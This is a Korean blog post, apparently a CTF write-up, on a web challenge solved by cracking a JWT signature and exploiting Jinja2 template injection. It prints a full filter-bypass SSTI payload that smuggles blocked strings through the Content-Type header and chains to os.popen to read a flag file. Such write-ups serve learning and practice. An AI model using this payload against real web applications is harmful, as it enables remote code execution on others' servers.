2024. 1. 17. 11:57ㆍ정보보안/CTFLOG
문제 페이지에 접속하면 닉네임을 입력하는 input 창과 submit 버튼이 있다.
asdf라는 닉네임을 입력하고 submit하면 page2로 이동되고, 닉네임이 출력되는 간단한 기능을 하는 사이트다.
이때 cookie를 확인해보면 auth_token이라는 이름으로 입력된 이름이 저장된다.
이때, signature 코드를 입력하지 않으면 jwt를 입력했을때 /register로 redirect된다.
따라서, jwt-cracker 등을 이용해서 jwt 시그니처를 알아냈어야 했다.
이후, response 값을 확인해보니 server로 python3.10.13을 사용하고 있다.
입력 값을 통해서 ssti를 트리거 시키는 문제라고 생각했다.
하지만, config,class,mro,_,',",%등 거의 모든 문자열이 필터링 되고 있어서 bypass에만 몰두했지만
해당 문제를 풀었던 팀원의 이야기를 들으니 생각지도 못한 풀이었었다.
빡빡한 필터링 때문에 jwt 상의 username에는 request와 attr 외에는 별다른 payload를 제작할 수 없었다.
하지만, 이런 빡빡한 mitigation을 우회하여 취약점을 트리거 시킬수 있는 방법이 존재하는데,
mimetype을 이용해서 payload를 trigger시키는 방식이다.
그 방법은 다음과 같다.
Content-Type에 __class__를 삽입한다.
username에 삽입했다면 필터링 당했을 문자열이지만, Content-Type -> (mimetype으로 인해 Content-Type의 문자열이 삽입됨) -> 페이로드 정상 전달
이러한 방식으로 payload를 실행시킬수 있었다.
{{request|attr(request.mimetype.0+request.mimetype.1+request.mimetype.2+request.mimetype.3+request.mimetype.4+request.mimetype.5+request.mimetype.6+request.mimetype.7+request.mimetype.8+request.mimetype.9+request.mimetype.10)|attr(request.mimetype.11+request.mimetype.12+request.mimetype.13+request.mimetype.14+request.mimetype.15+request.mimetype.16+request.mimetype.17+request.mimetype.18+request.mimetype.19+request.mimetype.20+request.mimetype.21)|attr(request.mimetype.34+request.mimetype.35+request.mimetype.36+request.mimetype.37+request.mimetype.38+request.mimetype.39+request.mimetype.40+request.mimetype.41+request.mimetype.42+request.mimetype.43+request.mimetype.44)(request.mimetype.22+request.mimetype.23+request.mimetype.24+request.mimetype.25+request.mimetype.26+request.mimetype.27+request.mimetype.28+request.mimetype.29+request.mimetype.30+request.mimetype.31+request.mimetype.32+request.mimetype.33)|attr(request.mimetype.34+request.mimetype.35+request.mimetype.36+request.mimetype.37+request.mimetype.38+request.mimetype.39+request.mimetype.40+request.mimetype.41+request.mimetype.42+request.mimetype.43+request.mimetype.44)(request.mimetype.45+request.mimetype.46+request.mimetype.47+request.mimetype.48+request.mimetype.49+request.mimetype.50+request.mimetype.51+request.mimetype.52+request.mimetype.53+request.mimetype.54)(request.mimetype.55+request.mimetype.56)|attr(request.mimetype.57+request.mimetype.58+request.mimetype.59+request.mimetype.60+request.mimetype.61)(request.mimetype.62+request.mimetype.63+request.mimetype.64+request.mimetype.65+request.mimetype.66+request.mimetype.67+request.mimetype.68+request.mimetype.69+request.mimetype.70+request.mimetype.71+request.mimetype.72+request.mimetype.73)|attr(request.mimetype.74+request.mimetype.75+request.mimetype.76+request.mimetype.77)()}}
이 내용을 username에 넣고 Content-Type에 아래의 문자열을 삽입한다.
Content-Type: application__globals____builtins____getitem____import__ospopencat flag.txtread
'정보보안 > CTFLOG' 카테고리의 다른 글
[CTF] Dice-ctf write up (0) | 2024.02.03 |
---|---|
[CTF] insomni'hack Teaser 2024 (0) | 2024.01.21 |
[CTF] Wacon 2023 ( junior division ) (0) | 2023.09.05 |
[CTF] SSTF 2023 (0) | 2023.08.20 |
[CTF] CCE2023 final (1) | 2023.07.13 |